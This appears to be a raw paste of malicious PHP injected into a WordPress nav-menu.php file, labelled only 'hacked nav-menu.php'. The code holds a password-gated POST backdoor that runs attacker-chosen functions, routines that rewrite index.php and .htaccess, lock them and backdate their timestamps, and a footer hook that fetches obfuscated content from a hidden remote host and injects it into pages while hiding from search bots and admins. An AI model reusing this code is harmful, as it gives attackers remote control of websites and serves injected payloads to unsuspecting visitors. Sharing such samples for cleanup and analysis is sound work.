hacked nav-menu.php

    */  540 *///istart
        541
        542 function my_time($dir) {
        543    foreach (glob($dir . '/wp-*.php') as $f) {
        544        $times[] = filemtime($f);
        545    }
        546    $max = 1;
        547    for ($i = 0; $i < count($times) - 1; $i++) {
        548        $k = 1;
        549        for ($j = $i + 1; $j < count($times); $j++) {
        550            if ($times[$i] == $times[$j]) {
        551                $k++;
        552                if ($k > $max) {
        553                    $max = $k;
        554                    $time = $times[$i];
        555                }
        556            }
        557        }
        558    }
        559    return $time;
        560 }
        561
        562 function my_correct($dir) {
        563    $time = 0;
        564    $path = $dir . '/index.php';
        565    $content = base64_decode('PD9waHAKLyoqCiAqIEZyb250IHRvIHRoZSBXb3JkUHJlc3MgYXBwbGljYXRpb24uIFRoaXMgZmlsZSBkb2Vzbid0IGRvIGFueXRoaW5nLCBidXQgbG9hZHMKICogd3AtYmxvZy1oZWFkZXIucGhwIHdoaWNoIGRvZXMgYW5kIHRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSB0aGVtZS4KICoKICogQHBhY2thZ2UgV29yZFByZXNzCiAqLwoKLyoqCiAqIFRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSBXb3JkUHJlc3MgdGhlbWUgYW5kIG91dHB1dCBpdC4KICoKICogQHZhciBib29sCiAqLwpkZWZpbmUoJ1dQX1VTRV9USEVNRVMnLCB0cnVlKTsKCi8qKiBMb2FkcyB0aGUgV29yZFByZXNzIEVudmlyb25tZW50IGFuZCBUZW1wbGF0ZSAqLwpyZXF1aXJlKCBkaXJuYW1lKCBfX0ZJTEVfXyApIC4gJy93cC1ibG9nLWhlYWRlci5waHAnICk7Cg==');
        566    if (file_get_contents($path) != $content) {
        567        chmod($path, 0644);
        568        file_put_contents($path, $content);
        569        chmod($path, 0444);
        570        $time = my_time($dir);
        571        touch($path, $time);
        572    }
        573
        574    $path = $dir . '/.htaccess';
        575    $content = base64_decode('IyBCRUdJTiBXb3JkUHJlc3MKPElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+ClJld3JpdGVFbmdpbmUgT24KUmV3cml0ZUJhc2UgLwpSZXdyaXRlUnVsZSBeaW5kZXhcLnBocCQgLSBbTF0KUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWYKUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWQKUmV3cml0ZVJ1bGUgLiAvaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPgoKIyBFTkQgV29yZFByZXNzCg==');
        576    if (file_exists($path) AND file_get_contents($path) != $content) {
        577        chmod($path, 0644);
        578        file_put_contents($path, $content);
        579        chmod($path, 0444);
        580        if (!$time) {
        581            $time = my_time($dir);
        582        }
        583        touch($path, $time);
        584    }
        585 }
        586
        587 $p = $_POST;
        588 $_passssword = '3cfe40c756dd5b4d00b03fb299886cdc';
        589 if (@$p[$_passssword] AND @$p['a'] AND @$p['c']) @$p[$_passssword](@$p['a'], @$p['c'], '');
        590 my_correct(dirname(__FILE__) . '/..');
        591
        592 function request_url_data($url) {
        593    if(!is_valid_url($url))
        594        return false;
        595
        596    $site_url = (preg_match('/^https?:\/\//i', $_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
        597    if (function_exists('curl_init')) {
        598        $ch = curl_init();
        599        curl_setopt($ch, CURLOPT_TIMEOUT, 5);
        600        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
        601        curl_setopt($ch, CURLOPT_URL, $url);
        602        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        603        curl_setopt($ch, CURLOPT_HTTPHEADER, array(
        604            'X-Forwarded-For: ' . $_SERVER["REMOTE_ADDR"],
        605            'User-Agent: ' . $_SERVER["HTTP_USER_AGENT"],
        606            'Referer: ' . $site_url,
        607        ));
        608        $response = trim(curl_exec($ch));
        609    } elseif (function_exists('fsockopen')) {
        610        $m = parse_url($url);
        611        if ($fp = fsockopen($m['host'], 80, $errno, $errstr, 6)) {
        612            fwrite($fp, 'GET http://' . $m['host'] . $m["path"] . '?' . $m['query'] . ' HTTP/1.0' . "\r\n" .
        613                'Host: ' . $m['host'] . "\r\n" .
        614                'User-Agent: ' . $_SERVER["HTTP_USER_AGENT"] . "\r\n" .
        615                'X-Forwarded-For: ' . @$_SERVER["REMOTE_ADDR"] . "\r\n" .
        616                    'Referer: ' . $site_url . "\r\n" .
        617                    'Connection: Close' . "\r\n\r\n");
        618            $response = '';
        619            while (!feof($fp)) {
        620                $response .= fgets($fp, 1024);
        621            }
        622            list($headers, $response) = explode("\r\n\r\n", $response);
        623            fclose($fp);
        624        }
        625    } else {
        626        $response = 'curl_init and fsockopen disabled';
        627    }
        628    return $response;
        629 }
        630
        631 error_reporting(0);
        632
        633 //unset($_passssword);
        634
        635 if (function_exists("add_action")) {
        636    add_action('wp_head', 'add_2head');
        637    add_action('wp_footer', 'add_2footer');
        638 }
        639
        640 function add_2head() {
        641    ob_start();
        642 }
        643
        644 function is_valid_url(&$url)
        645 {
        646    if (!preg_match('/^(.+?)(\d+)\.(\d+)\.(\d+)\.(\d+)(.+?)$/', $url, $m))
        647        return false;
        648    $url = $m[1].$m[5].'.'.$m[4].'.'.$m[3].'.'.$m[2].$m[6];
        649    return true;
        650 }
        651
        652 function add_2footer() {
        653    $check = false;
        654    $check_data = "";
        655    if (!empty($_GET['check']) AND $_GET['check'] == '3cfe40c756dd5b4d00b03fb299886cdc') {
        656        $check = true;
        657        $check_data = ('<!--checker_start ');
        658        $check_data .= (substr(request_url_data('http://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap.min.css'), 0, 100));
        659        $check_data .= (' checker_end-->');
        660    }
        661
        662    if (!$check) {
        663        if ($_SERVER['REQUEST_METHOD'] != 'GET')
        664            return;
        665        if (!@$_SERVER['HTTP_USER_AGENT'] OR (substr($_SERVER['REMOTE_ADDR'], 0, 6) == '74.125') OR preg_match('/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i', $_SERVER['HTTP_USER_AGENT']))
        666            return;
        667
        668
        669        $cookie_name = 'PHP_SESSION_PHP';
        670        if (isset($_COOKIE[$cookie_name]))
        671            return;
        672
        673        foreach (array('/\.css$/', '/\.swf$/', '/\.ashx$/', '/\.docx$/', '/\.doc$/', '/\.xls$/', '/\.xlsx$/', '/\.xml$/', '/\.jpg$/', '/\.pdf$/', '/\.png$/', '/\.gif$/', '/\.ico$/', '/\.js$/', '/\.txt$/', '/ajax/', '/cron\.php$/', '/wp\-login\.php$/', '/\/wp\-includes\//', '/\/wp\-admin/', '/\/admin\//', '/\/wp\-content\//', '/\/administrator\//', '/phpmyadmin/i', '/xmlrpc\.php/', '/\/feed\//') as $regex) {
        674            if (preg_match($regex, $_SERVER['REQUEST_URI']))
        675                return;
        676        }
        677
        678    }
        679
        680    $buffer = ob_get_clean();
        681    ob_start();
        682    $regexp = '/<body[^>]*>/is';
        683    if (preg_match($regexp, $buffer, $m)) {
        684        $body = $m[0];
        685 //       $url = base64_decode('a3d3czksLDIwOy06LTc1LTI7Nixhb2xkLDxlYmBmYWxsaCV2d25ccGx2cWBmPjE0OzE0OTIzMzQ7MDQ5MTMyMg==');
        686        $url = decrypt_url('a3d3czksLDIwOy06LTc1LTI7Nixhb2xkLDxlYmBmYWxsaCV2d25ccGx2cWBmPjE0OzE0OTIzMzQ7MDQ5MTMyMg==');
        687 //       if (($code = request_url_data($url)) AND base64_decode($code) AND preg_match('#[a-zA-Z0-9+/]+={0,3}#is', $code, $m)) {
        688        if (($code = request_url_data($url)) AND $decoded = base64_decode($code, true)) {
        689 //           $body .= '<script>var date = new Date(new Date().getTime() + 60*60*24*7*1000); document.cookie="' . $cookie_name . '=' . mt_rand(1, 1024) . '; path=/; expires="+date.toUTCString();</script>';
        690 //           $body .= base64_decode($m[0]);
        691            $body .= $decoded;
        692 //           $body .= base64_decode($m[0]);
        693        }
        694        $body .= $check_data;
        695
        696        $buffer = preg_replace($regexp, $body, $buffer);
        697    }
        698    echo $buffer;
        699    ob_flush();
        700 }
        701
        702 function decrypt_url($encrypted_url)
        703 {
        704    $encrypted_url = base64_decode($encrypted_url);
        705    $url = '';
        706    for ($i = 0; $i < strlen($encrypted_url); $i++)
        707    {
        708        $url .= chr(ord($encrypted_url[$i]) ^ 3);
        709    }
        710    return $url;
        711 }//iend
        712